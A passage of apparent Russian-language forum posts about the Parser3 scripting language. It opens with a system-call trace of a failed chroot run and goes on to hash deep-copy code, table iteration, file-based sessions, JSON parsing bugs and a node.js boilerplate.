mmap(0x0,3518464,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34368237568 (0x80081b000)\
mmap(0x80081b000,1269760,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34368237568 (0x80081b000)\
mmap(0x800b51000,45056,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0x136000) = 34371604480 (0x800b51000)\
mmap(0x800b5c000,106496,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|MAP_ANON,-1,0x0) = 34371649536 (0x800b5c000)\
munmap(0x800621000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
mmap(0x0,102400,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34366164992 (0x800621000)\
sysarch(0x81,0x7fffffffd2a0,0x80061f088,0x0,0xffffffffffaca580,0x8080808080808080) = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
__sysctl(0x7fffffffda60,0x2,0x7fffffffda7c,0x7fffffffda70,0x0,0x0) = 0 (0x0)\
readlink(\"/etc/malloc.conf\",0x7fffffffd5c0,1024) ERR#2 'No such file or directory'\
issetugid(0x80092aa49,0x7fffffffd5c0,0xffffffffffffffff,0x0,0x2,0x0) = 0 (0x0)\
break(0x800000)                                  = 0 (0x0)\
mmap(0x0,4194304,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34371756032 (0x800b76000)\
mmap(0x800f76000,565248,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34375950336 (0x800f76000)\
munmap(0x800b76000,565248)                       = 0 (0x0)\
chdir(\"/tmp/ILF\")                                = 0 (0x0)\
chroot(\".\")                                      = 0 (0x0)\
execve(\"/parser3/parser3\",<missing argument>,<missing argument>) = 0 (0x0)\
mmap(0x0,32768,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34367455232 (0x80075c000)\
issetugid(0x80095ca60,0x7fffffffefcf,0x40,0x0,0xffff80080095da91,0x0) = 0 (0x0)\
lstat(\"/etc\",{ mode=drwxr-xr-x ,inode=196997,size=512,blksize=32768 }) = 0 (0x0)\
lstat(\"/etc/libmap.conf\",0x7fffffffc550)         ERR#2 'No such file or directory'\
open(\"/var/run/ld-elf.so.hints\",O_RDONLY,057)    ERR#2 'No such file or directory'\
access(\"/lib/libcrypt.so.5\",0)                   = 0 (0x0)\
open(\"/lib/libcrypt.so.5\",O_RDONLY,045352740)    = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=197020,size=58640,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,2224128,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34369560576 (0x80095e000)\
mmap(0x80095e000,53248,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34369560576 (0x80095e000)\
mmap(0x800b6b000,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0xd000) = 34371710976 (0x800b6b000)\
mmap(0x800b6c000,69632,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|MAP_ANON,-1,0x0) = 34371715072 (0x800b6c000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libstdc++.so.6\",0)                  ERR#2 'No such file or directory'\
access(\"/usr/lib/libstdc++.so.6\",0)              = 0 (0x0)\
open(\"/usr/lib/libstdc++.so.6\",O_RDONLY,045352740) = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=197024,size=1065016,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,3235840,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34371784704 (0x800b7d000)\
mmap(0x800b7d000,1028096,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34371784704 (0x800b7d000)\
mmap(0x800e77000,36864,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0xfa000) = 34374905856 (0x800e77000)\
mmap(0x800e80000,77824,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|MAP_ANON,-1,0x0) = 34374942720 (0x800e80000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libm.so.5\",0)                       = 0 (0x0)\
open(\"/lib/libm.so.5\",O_RDONLY,045352740)        = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=197021,size=160512,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,2232320,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34375020544 (0x800e93000)\
mmap(0x800e93000,135168,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34375020544 (0x800e93000)\
mmap(0x8010b3000,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0x20000) = 34377248768 (0x8010b3000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libgcc_s.so.1\",0)                   = 0 (0x0)\
open(\"/lib/libgcc_s.so.1\",O_RDONLY,045352740)    = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=197022,size=59720,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,2154496,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34377252864 (0x8010b4000)\
mmap(0x8010b4000,53248,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34377252864 (0x8010b4000)\
mmap(0x8012c1000,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0xd000) = 34379403264 (0x8012c1000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libc.so.7\",0)                       = 0 (0x0)\
open(\"/lib/libc.so.7\",O_RDONLY,045352740)        = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=197023,size=1405496,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,3518464,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34379407360 (0x8012c2000)\
mmap(0x8012c2000,1269760,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34379407360 (0x8012c2000)\
mmap(0x8015f8000,45056,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0x136000) = 34382774272 (0x8015f8000)\
mmap(0x801603000,106496,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|MAP_ANON,-1,0x0) = 34382819328 (0x801603000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
mmap(0x0,36864,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34367488000 (0x800764000)\
access(\"/lib/libsupc++.so.1\",0)                  ERR#2 'No such file or directory'\
access(\"/usr/lib/libsupc++.so.1\",0)              ERR#2 'No such file or directory'\
munmap(0x800769000,16384)                        = 0 (0x0)\
mmap(0x0,102400,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34367508480 (0x800769000)\
sysarch(0x81,0x7fffffffd2c0,0x800761288,0x0,0xffffffffff166780,0x8080808080808080) = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
__sysctl(0x7fffffffd9f0,0x2,0x7fffffffd9e8,0x7fffffffd9e0,0x0,0x0) = 0 (0x0)\
open(\"/dev/zero\",O_RDONLY,037777777773)          ERR#45 'Operation not supported'\
fcntl(-1,F_SETFD,0x1)                            ERR#9 'Bad file descriptor'\
mmap(0x0,65536,PROT_READ|PROT_WRITE,MAP_PRIVATE,-1,0x0) ERR#9 'Bad file descriptor'\
mmap(0x0,12288,PROT_READ|PROT_WRITE,MAP_PRIVATE,-1,0x0) ERR#9 'Bad file descriptor'\
Insufficient memory for GC_all_nils\
write(2,\"Insufficient memory for GC_all_n\"...,36) = 36 (0x24)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
process exit, rval = 1\
[/code]"
"80648","chroot /tmp/ILF /parser3/parser3\
[code]/parser3/parser3: file not specified\
Parser/3.4.4b (compiled on x86_64-unknown-freebsd9.2)\
Copyright (c) 2001-2013 Art. Lebedev Studio (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: /parser3/parser3 [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
[/code]"
"80649","[quote]mount -t devfs devfs /chroot/dev \
devfs -m /chroot/dev rule apply path null unhide[/quote]"
"80652","Если ли возможность управлять перебором строк в .menu{}?\
Например, обработать одну строку два раза через ^t.offset(-1)"
"80654","[code]\
@table_menu[aTable;aCode;aSeparator][locals]\
  $result[^for[i](0;$aTable){${aCode}^aTable.offset(1)}{$aSeparator}]\
[/code]\
\
Или используйте подобный код везде, где нужно сделать нестандартный перебор коллекции."
"80655","А то по кругу пойдёт."
"80657","[code]$myhash[^hash::create[]]\
^for[i](0;10){\
	$myhash.[$i][\
		^for[j](0;10){\
			$.[$j][x=$i y=$j]\
		}\
	]\
}[/code]"
"80658","Получилось решить проблему копирования хеша таким образом:\
[code]@copyHash[hData][hCopy;key;value]\
	$hCopy[^hash::create[]]\
	^hData.foreach[key;value]{\
		^if($value is hash){\
			$hCopy.[$key][^hash::create[^copyHash[$value]]]\
		}($value is bool || $value is int || $value is double){\
			$hCopy.[$key]($value)\
		}($value is table){\
			$hCopy.[$key][^table::create[$value]]\
		}{\
			$hCopy.[$key][$value]\
		}\
	}\
	$result[$hCopy][/code]\
Правильный ли выбран подход?\
Что можно оптимизировать?"
"80659","Я бы заменил во всем коде hCopy на result и удалил hCopy из списка локальных."
"80664","[code]\
$hCopy.[$key][^hash::create[^copyHash[$value]]]\
[/code]\
=>\
[code]\
$hCopy.[$key][^copyHash[$value]]\
[/code]\
\
ниже чуть доработанный метод (который копирует даты, _default и не падает на хэшах с рекурсией и ключём \"foreach\"):\
[code]\
@hashDeepCopy[h]\
	^if($h is \"hash\"){\
		$result[^_hashDeepCopy[$h;^hash::create[]]]\
	}{\
		^throw[;Param must be hash]\
	}\
\
@_hashDeepCopy[h;info][uid;k;v;j]\
	$uid[^reflection:uid[$h]]\
	$result[$info.$uid]\
	^if(!$result){\
		$result[^hash::create[$h]]\
		$info.[$uid][$result]\
		$j[^reflection:method[$h;foreach]]\
		^j[k;v]{\
			^if($v is hash){\
				$result.[$k][^_hashDeepCopy[$v;$info]]\
			}($v is int || $v is double){\
				$result.[$k]($v)\
			}($v is table){\
				$result.[$k][^table::create[$v]]\
			}($v is date){\
				$result.[$k][^date::create[$v]]\
			}\
		}\
	}\
\
[/code]\
\
\
и небольшой тест:\
[code]\
@USE\
debug/Erusage.p\
debug/Debug.p\
\
\
@main[]\
$h1[\
	$.v[$VOID]\
	\
	$.sa[1]\
	$.sb[2]\
	$.sc[3]\
	$.sd[]\
\
	$.bt(true)\
	$.bf(false)\
\
	$.na(1)\
	$.nb(2)\
	\
	$.ta[^table::create{a	b	c^#0A1	2	3^#0A11	22	33}]\
	$.tb[^table::create[nameless]{1	2	3^#0A11	22	33}]\
\
	$.fa[^file::create[asd;$.name[file.txt]]]\
\
	$.ia[^image::create(100;100)]\
\
	$.da[^date::create(2009;01;02;03;04;05)]\
	$.db[^date::create(2009;01;02;03;04;05)]\
	\
	$.ha[\
		$.hasa[1]\
		$.hasb[2]\
		$.hasc[3]\
		$.haha[\
			$.hahasa[11]\
			$.hahasb[22]\
		]\
		$.habt(true)\
		$.habf(false)\
		$._default[default value]\
	]\
	\
	$.foreach[фак ю Спилберг (c) :)]\
]\
$h1.recursion[$h1]\
\
$copy[$self.hashDeepCopy]\
\
$h2[^copy[$h1]]\
\
# модицифируем исходный хэш после копирования\
^h1.delete[v]\
^h1.na.inc(1)\
^h1.ha.delete[hasa]\
$h1.ha.hasd[4]\
^h1.ta.append{111	222	333}\
^h1.da.roll[month](+1)\
\
# замеряем время работы 10000 итераций метода\
^Erusage:compact[$.bForce(true)]\
^Erusage:measure{^for[i](0;9999){$z[^copy[$h1]]}}[v]\
\
# выводим\
^dstop[ $.v[$v] $.h2[$h2] $.h1[$h1] $.recursion-copy-check[$h2.recursion.sb] $.default-copy-check[$h2.ha.zzz] ]\
[/code]"
"80665","лично мне не очень понятна необходимость такого \"итератора\".\
\
наверняка бывают случаи, когда он может быть полезен, но мне таких не встречалось."
"80666","взрыв мозга\
[code]	$t[^table::create{n\
value1\
value2\
value3\
value4\
value5\
value6}]\
	stage 1\
	^while($t){\
		\
		line ^t.line[] $t.n}{	cur line ^t.line[]	^t.offset(1)	^if(^t.line[] >= $t){	break on ^t.line[] ^break[]}	new line ^t.line[]\
	}\
[/code]"
"80667","Было бы это все реализовано в самом классе HASH, чтобы можно было написать $h2[^hash::create[$h1]] и радоваться результату.)"
"80668","[quote]\
всего лишь надо иногда повторить обработку строки таблицы\
[/quote]\
\
и? зачем для этого делать сдвиг назад?\
есть тело обработки строки (логично вынести его в метод).\
в какой-то момент внутри этого кода выясняется, что надо строку обработать ещё раз. в этот момент вам хочется сделать offset(-1). \
но я не понимаю, что мешает в этот момент просто ещё раз вызвать метод обработки строки вместо вызова offset(-1)."
"80669","Больше бы информации)"
"80670","Захотелось сделать легковесные сессии. Т.к. 80% страниц вебпроекта на залогиненной сессии практически не тянет за собой много данных, чтобы все крутить на БД.\
\
Таким образом, первое что приходит на ум это файловая реализации сессий.\
И тут я вспомнил про hashfile, вроде бы прочитал его быструю реализаию с seek-ом и всякими оптимизациями против обычного открытия файла.\
\
И почему-то сложилось впечатление, что предлагается сложить все сессии в этот (один) файл.\
\
Мне же кажется, что логично иметь отдельный файл на каждую сессию.\
вида UUID_F8AHH_SOME_HASH.sess (+/- md5 со своей солью)\
\
Во-первых, никаких проблем с блокировками. У каждой сессии свой файл.\
\
Во-вторых, в каждый пользовательский runtime подгружается относительн небольшой файлик (какие-то байты).\
\
В-третьих, можно даже визуально оценить активные сессии - зайдя в какой-то /data/sessions/\
  и увидеть кол-во лежащих там файлов сессий.\
\
В-четвертых разлогинить элементарно - просто трёшь файл.\
\
В-пятых разлогинить например по timeout легко - у файла в линуксовской ФС\
есть атрибут ADATA - то есть дата/время последнего использования файла\
таким образом, можно в \"почтовый час\" обходить и утилизировать сессии, а оперативно делать это в runtime-ме пользователя запросившего просроченную сессию.\
\
И при таком раскладе вполне подойдет и обычный файл типа table, ну или как раз hashfile \
\
Может так и задумывалось, и я привратно понял целевое применение?"
"80671","Я всегда монтирую разделы с опцией noatime. Это увеличивает производительность файловой системы."
"80672","В общем-то, да, в PHP, например, общепринятая практика при использовании файлов в качестве хранения сессии - записывать в нее дату последней модификации, тогда у GC не будет проблем с отсечением ненужных файлов и чисто по времени модификации, а не обращения."
"80673","Пример [url=\"http://www.parser.ru/docs/lang/jsonparse.htm\"]из документации[/url]:\
\
[code]\
$json_string[{\
	\"a1\":{\"b\": 1, \"c\": \"xyz\", \"d\": \"zzz\"},\
	\"a2\":{\"b\": 1, \"b\": 2, \"b\": 3}\
}]\
\
$h[^json:parse[$json_string;\
	$.double(false)\
	$.distinct[all]\
	$.object[$handler]\
]]\
[/code]\
На выходе обещают:\
[code]\
$h[\
   $.a1[\
      $.b[1]\
      $.c[xyz]\
      $.d[=3=]\
   ]\
   $.a2[\
      $.b[1]\
      $.b_2[2]\
      $.b_3[3]\
   ]\
]\
[/code]\
\
А реально получается:\
[code]\
$h[\
   $.a1[\
      $.b(1)\
      $.c[xyz]\
      $.d[zzz]\
   ]\
   $.a2[\
      $.b(1)\
      $.b_2(2)\
      $.b_3(3)\
   ]\
]\
[/code]\
\
В общем параметр $.double() не работает.\
\
Если в строке закавычить все цифры:\
[code]\
$json_string[{\
	\"a1\":{\"b\": \"1\", \"c\": \"xyz\", \"d\": \"zzz\"},\
	\"a2\":{\"b\": \"1\", \"b\": \"2\", \"b\": \"3\"}\
}]\
[/code]\
то тогда парсер всё переведёт в строки:\
[code]\
$h[\
   $.a1[\
      $.b[1]\
      $.c[xyz]\
      $.d[zzz]\
   ]\
   $.a2[\
      $.b[1]\
      $.b_2[2]\
      $.b_3[3]\
   ]\
]\
[/code]\
При этом $.double() опять ни на что не влияет.\
\
Версия парсера 3.4.3 (compiled on i386-pc-win32)\
\
[b]UPD:[/b]\
И [code]$.object[$handler][/code], кстати, тоже работает не так как в документации расписано. Он вызывается только для [code]\"a1\":{...}[/code] и [code]\"a2\":{...}[/code] и не вызывается для внутренних членов этих массивов. Т.е. преобразования из [code]\"d\":\"zzz\"[/code] в [code]$.d[=3=][/code] не получается. Выходит [code]$.d[zzz][/code]."
"80674","[code]\
$i(123.456)\
^json:string[$i]\
[/code]\
Выдаёт\
[code]\
\"123.456\"\
[/code]\
Кавычек не должно быть.\
\
Если же:\
[code]\
^json:string(123.456)\
[/code]\
То:\
[code]\
123.456\
[/code]\
\
А при попытке:\
[code]\
$i(123.456)\
^json:string($i)\
[/code]\
Получаем:\
[code]\
Unsupported value's type (junction)\
[/code]"
"80675","boilerplate для parser3 проекта работающего под node js, позволяет запускать проекты на parser3 без необходимости хостинга apache/nginx веб-сервера, на сложном проекте тест прошел успешно :) с драйверами для бд заводится и прекрасно дружит, в cgi нужно положить свою версию парсера, сейчас там для Mac OS X\
\
скачать и посмотреть проект можно здесь https://github.com/dwr/node-parser3"
"80677","пример с ошибками :)\
\
1. '\"b\": 1' -- 1 в этом случае -- int, а не double. если будет написано 1.1, то $.double(false) должен сработать как положено. это уже обсуждалось в форуме и некоторое время назад [url=http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/classes/json.C?view=log]была добавлена опция[/url] с аналогичным смыслом для int.\
\
2. $.object[$handler] работает. но в примере ошибка и он и не должен вызываться для строк/чисел/bool/array. он вызывается для объектов. в данном случае под объёктом имеются в виду json-объекты, т.е. то, что имеет значение в фигурных скобках. чтобы пример заработал как написано, надо добавить handler для string и в нем сделать аналогичные телодвижения по подмене значения строки с ключём \"d\". но с 3.4.3 пример и в этом случае не заработал-бы, т.к. там был баг. в 3.4.4 это будет исправлено (в head уже исправлено)\
\
P.S. а причем тут bag? может имелось в виде bug? :)"
"80678","[quote]\
$i(123.456)\
^json:string[$i]\
Выдаёт\
\"123.456\"\
Кавычек не должно быть.\
[/quote]\
\
в данном случае кавычки быть должны, т.к. строка:\
^json:string[$i]\
означает, что мы создам строку со значением автопреобразования double в string и передам эту строку методу json:string\
\
[quote]\
А при попытке:\
$i(123.456)\
^json:string($i)\
Получаем:\
Unsupported value's type (junction)\
[/quote]\
\
а это похоже на баг. думаю поправим.\
если не ошибаюсь, то правка такая (classes/json.C):\
- const String& result_string=value_json_string(String::Body(), params[0], json);\
+ const String& result_string=value_json_string(String::Body(), r.process_to_value(params[0]), json);"
"80679","Скачал парсер3 ночных сборок.\
[quot] 1.[/quot]\
Разобрался. Спасибо. $.double(), $.int() - работают.\
\
[quot] 2. [/quot]\
$.string[$xxx] не работает пока. Только что поправили? Еще нет в \"ночных\"? Завтра скачать?\
\
И под Винду не собирается на сайте давно уже, да?"
"80680","2 -- с прямым уголом перепутал. это при json:string можно указать метод сериализации для разных типов объектов. и это там был в этом месте баг, который я упоминал и который уже исправлен в head.\
в json:parse такого сделать нельзя. т.е. у вас есть только вариант с модификацией разобранного json (или копированием).\
\
да, под винду автоматом не собираем. иногда руками."
"80683","а что все так вцепились в этот Node.js ? Он же говорят течёт страшно...\
Чем вот Яваскрипт как серверный язык, да еще и Нод, как веб-сервер вдруг \"стал более лучше\"(c)\
\
Хотите легковесный сервер - ну делайте на GoLang... он хоть заточен под это... Че за \"маза\" такая я только один профит вижу - вроде как UI-шники внезапно ушли в бэкенд, не меняя знаний языка + что-то пред-выполнять на JS а потом отдавать на клиента... типа прегенерация там страниц (докатились тоже к обратному - из UI-языка сделали CGI-бэкендовый, спасибо тут Перл уже много лет примус починял)..."
"80687","На мой взгляд, использовать метаданные файловой системы в логике работы прикладной программы не стоит. Подумайте, вспомните ли вы через год, что используете поле atime и для хранилища надо делать специальные настройки. А админ, который будет обслуживать систему вместо вас, будет помнить об этом?\
\
Правильное решение предложил dwr — запишите данные в файл явно."
"80688","Ветку закрываю."
"80689","Дилетанты обсуждают технологии и людей, которые их используют. Профессионалу на эти обсуждения наплевать."
"80690","Приходят какие то иероглифы... &#38376;&#22609;-&#28895;&#29436;&#19990;"
"80692","Как нам пришлось помучиться\
HTML-Entities &#8594; GB2312 &#8594; CP1251\
\
http://www.artlebedev.ru/tools/decoder/"
